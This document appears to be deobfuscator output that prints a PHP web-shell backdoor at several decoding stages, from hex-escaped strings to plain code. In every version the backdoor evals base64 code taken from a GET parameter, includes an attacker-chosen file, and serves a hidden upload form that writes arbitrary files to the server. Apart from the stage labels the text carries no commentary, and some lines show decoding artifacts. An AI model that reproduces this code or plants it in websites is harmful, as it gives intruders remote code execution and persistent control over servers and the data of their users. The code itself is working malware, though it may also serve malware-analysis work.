Decrypted code level 1:

error_reporting(0);
	 ${
	"GL\x4f\x42\x41LS"
}
["dx\x70\x67gw\x65\x6dd"]="e\x76";
$kiejpi="\x65v";
$imivhcblfl="\x69\x6e";
$hgrptjcx="\x69n";
	${
	"\x47L\x4f\x42\x41\x4cS"
}
["\x79\x73\x66\x6f\x6d\x62\x74hh\x71"]="\x69n";
	${
	$imivhcblfl
}
=$_GET["i\x6e"];
	if(isset(${
		${
		"\x47L\x4f\x42A\x4c\x53"
	}
	["\x79\x73\x66o\x6d\x62th\x68\x71"]
}
	)&&!empty(${
	$hgrptjcx
}
	)){
	echo@eval(base64_decode("ZGl\x6cK\x47l\x75Y2\x781ZG\x56fb2\x35\x6a\x5a\x53A\x6b\x61W4\x70\x4fw\x3d="));
}
	${
	$kiejpi
}
=$_GET["e\x76"];
	if(isset(${
		${
		"G\x4c\x4f\x42A\x4cS"
	}
	["\x64\x78\x70\x67\x67\x77e\x6d\x64"]
}
	)&&!empty(${
		${
		"\x47\x4c\x4fBA\x4c\x53"
	}
	["\x64\x78\x70\x67\x67\x77\x65\x6d\x64"]
}
	)){
		eval(base64_decode(${
			${
			"GL\x4fB\x41LS"
		}
		["\x64x\x70\x67\x67w\x65\x6d\x64"]
	}
	));
	exit;
}
	if($_GET["\x73\x65n\x64"]=="\x6fk"){
	echo"<fo\x72\x6d\x20act\x69on\x3d\"\" \x6d\x65t\x68\x6f\x64=\x22pos\x74\" encty\x70\x65=\"\x6d\x75\x6ct\x69pa\x72\x74/\x66\x6f\x72\x6d-da\x74\x61\x22 n\x61\x6d\x65\x3d\"c\x6f\x75n\x74\x72y\x22\x20i\x64\x3d\"c\x6f\x75ntr\x79\x22>\x3c\x69\x6e\x70\x75t \x74ype\x3d\x22file\x22\x20nam\x65=\x22\x66\x69\x6c\x65\"\x20s\x69z\x65=\x22\x350\">\x3c\x69\x6ep\x75\x74 \x6eam\x65=\x22\x5fc\x6f\x6e\x22\x20typ\x65\x3d\"su\x62\x6di\x74\x22\x20i\x64=\x22\x5fco\x6e\x22 v\x61\x6c\x75\x65\x3d\"\x68o\x6de\x22></\x66orm>\x20";
		if($_POST["_c\x6f\x6e"]=="\x68\x6fme"){
			if(@copy($_FILES["\x66ile"]["\x74mp\x5f\x6e\x61me"],$_FILES["f\x69\x6c\x65"]["n\x61m\x65"])){
			echo"done\x20:\x64";
		}
			else{
			echo"\x65rr\x6fr";
		}
	}
	exit;
}

Decrypted code level 2:

error_reporting(0);
	 ${
	"GLOBALS"
}
["dxpggwemd"]="ev";
$kiejpi="ev";
$imivhcblfl="in";
$hgrptjcx="in";
	${
	"GLOBALS"
}
["ysfombthhq"]="in";
	${
	$imivhcblfl
}
=$_GET["in"];
	if(isset(${
		${
		"GLOBALS"
	}
	["ysfombthhq"]
}
	)&&!empty(${
	$hgrptjcx
}
	)){
	echo@eval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));
}
	${
	$kiejpi
}
=$_GET["ev"];
	if(isset(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)&&!empty(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)){
		eval(base64_decode(${
			${
			"GLOBALS"
		}
		["dxpggwemd"]
	}
	));
	exit;
}
	if($_GET["send"]=="ok"){
	echo"<form action=\"\" method="post\" enctype=\"multipart/form-data" name=\"country" id=\"country"><input type="file" name="file\" size="50\"><input name="_con" type=\"submit" id="_con" value=\"home"></form> ";
		if($_POST["_con"]=="home"){
			if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
			echo"done :d";
		}
			else{
			echo"error";
		}
	}
	exit;
}

Decrypted code level 3:

error_reporting(0);
	 ${
	"GLOBALS"
}
["dxpggwemd"]="ev";
$kiejpi="ev";
$imivhcblfl="in";
$hgrptjcx="in";
	${
	"GLOBALS"
}
["ysfombthhq"]="in";
	${
	$imivhcblfl
}
=$_GET["in"];
	if(isset(${
		${
		"GLOBALS"
	}
	["ysfombthhq"]
}
	)&&!empty(${
	$hgrptjcx
}
	)){
	echodie(include_once $in);
}
	${
	$kiejpi
}
=$_GET["ev"];
	if(isset(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)&&!empty(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)){
		eval(base64_decode(${
			${
			"GLOBALS"
		}
		["dxpggwemd"]
	}
	));
	exit;
}
	if($_GET["send"]=="ok"){
	echo"<form action=\"\" method="post\" enctype=\"multipart/form-data" name=\"country" id=\"country"><input type="file" name="file\" size="50\"><input name="_con" type=\"submit" id="_con" value=\"home"></form> ";
		if($_POST["_con"]=="home"){
			if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
			echo"done :d";
		}
			else{
			echo"error";
		}
	}
	exit;
}

error_reporting(0);
	 ${
	"GLOBALS"
}
["dxpggwemd"]="ev";
	${
	"GLOBALS"
}
["ysfombthhq"]="in";
	${
	"in"
}
=$_GET["in"];
	if(isset(${
		${
		"GLOBALS"
	}
	["ysfombthhq"]
}
	)&&!empty(${
	"in"
}
	)){
	echodie(include_once $in);
}
	${
	"ev"
}
=$_GET["ev"];
	if(isset(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)&&!empty(${
		${
		"GLOBALS"
	}
	["dxpggwemd"]
}
	)){
		eval(base64_decode(${
			${
			"GLOBALS"
		}
		["dxpggwemd"]
	}
	));
	exit;
}
	if($_GET["send"]=="ok"){
	echo"<form action=\"\" method="post\" enctype=\"multipart/form-data" name=\"country" id=\"country"><input type="file" name="file\" size="50\"><input name="_con" type=\"submit" id="_con" value=\"home"></form> ";
		if($_POST["_con"]=="home"){
			if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
			echo"done :d";
		}
			else{
			echo"error";
		}
	}
	exit;
}